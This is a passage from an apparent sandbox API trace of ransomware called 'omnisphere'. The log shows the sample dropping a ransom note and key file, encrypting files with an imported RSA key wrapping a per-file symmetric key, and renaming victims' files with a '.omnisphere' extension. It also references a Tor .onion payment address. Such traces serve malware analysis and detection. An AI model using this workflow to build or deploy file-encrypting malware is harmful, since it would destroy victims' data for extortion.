lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.432] GetProcessHeap () returned 0x1600000 [0127.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f62c8 [0127.432] PathCombineW (in: pszDest=0x16f62c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.432] GetProcessHeap () returned 0x1600000 [0127.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1700078 [0127.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.435] WriteFile (in: hFile=0x28c, lpBuffer=0x1700078*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1700078*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.435] CloseHandle (hObject=0x28c) returned 1 [0127.435] GetProcessHeap () returned 0x1600000 [0127.435] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.435] GetProcessHeap () returned 0x1600000 [0127.435] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.435] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.435] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.436] CloseHandle (hObject=0x28c) returned 1 [0127.436] GetProcessHeap () returned 0x1600000 [0127.436] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.436] GetProcessHeap () returned 0x1600000 [0127.436] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f65a8 | out: hHeap=0x1600000) returned 1 [0127.436] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d5c89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f866524, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f88ca05, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Y60hJ0R.lnk", cAlternateFileName="")) returned 1 [0127.436] GetProcessHeap () returned 0x1600000 [0127.436] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167b9e8 [0127.436] PathCombineW (in: pszDest=0x167b9e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Y60hJ0R.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk" [0127.437] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y60hj0r.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.437] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=966) returned 1 [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.437] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] GetTickCount () returned 0x115fccb [0127.438] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0127.439] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639568) returned 1 [0127.439] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.439] CryptDestroyKey (hKey=0x1639568) returned 1 [0127.439] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.439] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c6, lpName=0x0) returned 0x288 [0127.439] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c6) returned 0x1480000 [0127.440] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.440] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.441] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.441] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.442] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.443] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.444] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.444] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.444] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3c6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.444] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.444] GetProcessHeap () returned 0x1600000 [0127.444] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16f3728 [0127.445] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y60hj0r.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y60hj0r.lnk.omnisphere")) returned 1 [0127.445] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk.omnisphere.id" [0127.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y60hj0r.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.447] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.448] CloseHandle (hObject=0x3c0) returned 1 [0127.449] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.449] CloseHandle (hObject=0x288) returned 1 [0127.449] SetEndOfFile (hFile=0x28c) returned 1 [0127.449] FlushFileBuffers (hFile=0x28c) returned 1 [0127.453] CloseHandle (hObject=0x28c) returned 1 [0127.453] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y60hJ0R.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.453] GetProcessHeap () returned 0x1600000 [0127.453] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 